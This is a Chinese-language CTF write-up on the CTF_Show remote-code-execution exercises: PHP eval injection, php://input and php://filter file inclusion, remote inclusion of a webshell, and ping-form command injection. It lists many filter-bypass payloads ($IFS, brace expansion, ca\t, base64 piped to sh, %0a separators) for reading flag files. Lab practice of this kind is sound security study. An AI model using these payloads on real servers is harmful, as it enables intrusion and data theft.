CTF_Show_RCE技能树
RCE总结
命令注入
命令分割符号:
1 | linux: |
绕过
- **cat**:用
ca\t
or 定义表达式 - **空格**:用
$IFS$1
、大括号扩展{cat,flag.php}
、cat<flag.php
、cat<>
- 1
{cat,flag.php}
大括号扩展:生成一个逗号分割的字符串集合 - 会分别执行 cat flag.php
- 2
cat${IFS}flag.php
内部字段分隔符 IFS:相当于空格、制表、换行 - 3
cat$IFS$9flag.php
$9 是第 9 个参数- 可以理解为无意义字符,为了绕过检测用的(其实指向第九个参数,这里根本没有指定参数)
- 4
cat<flag.php
flag.php 重定向为 cat 的输入 - 5
cat<>flag.php
读取并写入 flag.php- 其实等于 4,读取再写入
- 6
kg=$'\x20flag.php'&&cat$kg
定义kg=$'\x20flag.php'
其中 \x20 是 ASCII 中的空格- 直接定义访问了
- 7
a=c;b=at;c=flag.php;$a$b $c
定义表达式访问a=ca;b=$'t\x20';c=flag.php;$a$b$c
也可以
- 8
b=ag;a=fl;cat$IFS$1$a$b.php
定义表达式+内部字段分割符 - 9
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
- 用 echo 输出 base64 编码的
cat flag
管道到 base64 解密,然后管道到 sh 中执行
- 用 echo 输出 base64 编码的
- 10
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
只是把执行换位了 bash - 11
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3
用的 python 来执行import os
print(os.system('cat flag.php'))
- 1
- **最好用的是定义表达式**:
- 比如正常的
cat flag.php
;a=fl;b=ag.php;cat$IFS$1$a$b
- 比如正常的
RCE_文件包含
ctf_show 的 RCE 的技能树
代码执行&命令执行
特别注意:<font style="color:rgb(0, 0, 0);">$_REQUEST</font>
是一个包含了$_GET
、$_POST
和$_COOKIE
数据的超级全局变量
题目:eval执行(代码执行)
ctf_show 题目
一道基础题,但是有一个点需要注意的
1 |
|
直接把 cmd 传参的内容当作 eval 的 php 代码执行
?cmd=system("ls /");
?cmd=system("cat /flag_7373")
一个需要注意的点
对于以下的代码都是可以的,只要在命令的部分没有空格(空格会被url编码%20,在浏览器传输到后端后会自动解码一次)
1 | ?cmd=system(ls); ?cmd=system(pwd); ?cmd=system(whoami); |
但是一旦有了空格,就执行不成功?cmd=system(ls /);
而需要加上引号?cmd=system("ls /");
题目:文件包含
1 |
|
文件如下,有 eval 代码执行
可以用 get、post、cookie 传参
get 传参?file=shell.txt&ctfhub=system("cat /flag");
post 传参
cookie 传参,这里 cookie 传参没有成功(猜测 Cookie 的逻辑没有写在服务器代码里,不知道,乱猜的)
传参方式 get/post/cookie
get?para1=xxx¶2=xxx
post
1 | POST /api/submit HTTP/1.1 |
Cookie(多个参数用;分割,注意 Cookie 后的空格和分号后的空格分割)
1 | GET /api HTTP/1.1 |
题目:php://input
- php://input 的作用:
- 可用于查看源码,同时是要查看未压缩文件的只读流
- 在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)
- 条件:allow_url_fopen=off/on;allow_url_include=on。
php://input 代码执行风险
寻找目录
查看 flag
1 | /?file=php://input |
题目:读取源代码
给了文件路径
可以直接读文件
1 | /?file=php://filter/read=convert.base64-encode/resource=/flag |
题目:远程包含
可以直接包含远程文件,测试包含百度
包含自己博客
一句话木马
1 | <?php |
服务器开启 http 服务器python3 -m http.server 8888
直接包含
蚂蚁连接
虚拟终端,查找 flag
远程allow_url_fopen/include
allow_url_fopen
允许 url 的方式打开文件file_get_contents()
、fopen
、php://input
allow_url_include
允许远程文件包含(远程服务器文件)include
、require
、include_once
、require_once
RCE_命令注入
题目:命令注入(exec 命令执行)
|
是管道符,前一个命令输出,作为后一个命令输入- 前一个命令对后一个命令如果没有有效的输入:会直接执行后一个命令
;
是直接分割命令,顺序执行这些命令;
不管前一个是否执行成功,都会执行后一个
&&
是前一个执行成功,再执行后一个
1 |
|
exec 函数
展示:exec 执行结果返回给$res,然后展示在页面上(print_r 格式化输出)
- 使用管道符
**<font style="color:#DF2A3F;"> | </font>**
连接多个命令- 前一个命令的输出,作为下一个命令的输入
- 但是:因为 ping 不会产生有效输出——就会直接中断 ping 的执行然后
- ls 命令就会直接执行
直接 cat 看不 flagwww.baidu.com|cat 14645300762206.php
但是 F12 查看源代码可以看到
尝试 base64 编码www.baidu.com|cat 14645300762206.php|base64
直接;cat 14645300762206.php|base64
也可以
题目:禁用 cat
less(更多交互)、more(只允许向后)、tac(最后一行开始反向显示)、ca\t(被解析为 cat+\t 制表符)
;ca\t flag_18071273756181.php|base64
然后解码
;ca\t flag_18071273756181.php
然后查看源代码
题目:禁用空格
思路
1 | {cat,flag.php} |
- 1
{cat,flag.php}
大括号扩展:生成一个逗号分割的字符串集合- 会分别执行 cat flag.php
- 2
cat${IFS}flag.php
内部字段分隔符 IFS:相当于空格、制表、换行 - 3
cat$IFS$9flag.php
$9 是第 9 个参数- 可以理解为无意义字符,为了绕过检测用的(其实指向第九个参数,这里根本没有指定参数)
- 4
cat<flag.php
flag.php 重定向为 cat 的输入 - 5
cat<>flag.php
读取并写入 flag.php- 其实等于 4,读取再写入
- 6
kg=$'\x20flag.php'&&cat$kg
定义kg=$'\x20flag.php'
其中 \x20 是 ASCII 中的空格- 直接定义访问了
- 7
a=c;b=at;c=flag.php;$a$b $c
定义表达式访问a=ca;b=$'t\x20';c=flag.php;$a$b$c
也可以
- 8
b=ag;a=fl;cat$IFS$1$a$b.php
定义表达式+内部字段分割符 - 9
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
- 用 echo 输出 base64 编码的
cat flag
管道到 base64 解密,然后管道到 sh 中执行
- 用 echo 输出 base64 编码的
- 10
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
只是把执行换位了 bash - 11
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3
用的 python 来执行import os
print(os.system('cat flag.php'))
注意:$IFS$1
就可以理解为一个空格
$IFS$绕过
先寻找 flag 在哪里;ls$IFS$1/
直接查看 flag;cat$IFS$1flag_151002790815863.php
,查看源代码就可以看到
也可以编码后输出;cat$IFS$1flag_151002790815863.php|base64
ASCII 编码绕过 \x20
;a=$'\x20flag_151002790815863.php'&&cat$a
定义表达式绕过
;a=ca;b=t;c=$'\x20flag_151002790815863.php';$a$b$c
;a=ca;b=t;c=$'\x20flag_151002790815863.php';$a$b$c|base64
加密绕过
cat flag_151002790815863.php
编码Y2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocA==
直接;echo$IFS$1Y2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocA==|base64$IFS$1-d|sh
查看源代码即可
也可以编码后输出
;echo$IFS$1Y2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocA==|base64$IFS$1-d|sh|base64
使用 python(python 没有成功,是不是题目环境没有 python3?)
1 | import os |
payload 如下
;echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWdfMTUxMDAyNzkwODE1ODYzLnBocCcpKQ==|base64$IFS$1-d|python3
题目:过滤’/‘
1 | if (!preg_match_all("/\//", $ip, $m)) |
查看当前目录下:有一个新多出来的目录
进入目录并查看;cd flag_is_here;ls
;cd flag_is_here;cat flag_256382751229052.php|base64
题目:过滤’|| 和&’
正则"/(\||\&)/"
:匹配|
或者&
(中间那个|
是或者符)
直接分号就行了;cat flag_138181990221028.php
组合过滤(前面所有)
过滤了的东西:
|``&``;``
(空格)/``cat``flag``ctfhub
在 Windows 和 linux 中
%0a
(回车)都可以作为命令分隔符使用**特别注意:**在这里的数据流向
- 用户在输入框输入的表单数据——会用 GET 方式传递到浏览器 URL 中
- 浏览器会被 URL 中的特殊字符 url 编码一次——传递到后端
- 后端获取后会被解码
**因此:**在这里输入框如果输入
%0a
会被浏览器编码一次%
会被编码为%25
,加上0a
就是%250a
,在后端解析后就不是我们预期的
所以:
- 这里应该直接在 url 中输入,而不是在输入框输入
- 也可以在
查看当前目录%0als
- 进入到 flag 的目录
%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0als
- 这里是用的
%0a
分割 - 然后表达式定义
$IFS$1
作空格
- 这里是用的
- 查看 flag
- 前面的命令是
%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0a
- 在后面加上查看 flag 的命令
- cat 也被过滤了直接用
ca\t
制表符绕过(也可以定义表达式) - flag 文件名:
c=fl%0ad=ag_1490190811343.php
- 就应该是
c=fl%0ad=ag_1490190811343.php%0aca\t$IFS$1$c$d
- cat 也被过滤了直接用
- 前面的命令是
- 拼接起来就是如下
%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0ac=fl%0ad=ag_1490190811343.php%0aca\t$IFS$1$c$d
一发入魂,拿下!(查看源代码即可)
可以直接 base64,不用 cat
%0aa=fl%0ab=ag_is_here%0acd$IFS$1$a$b%0ac=fl%0ad=ag_1490190811343.php%0abase64$IFS$1$c$d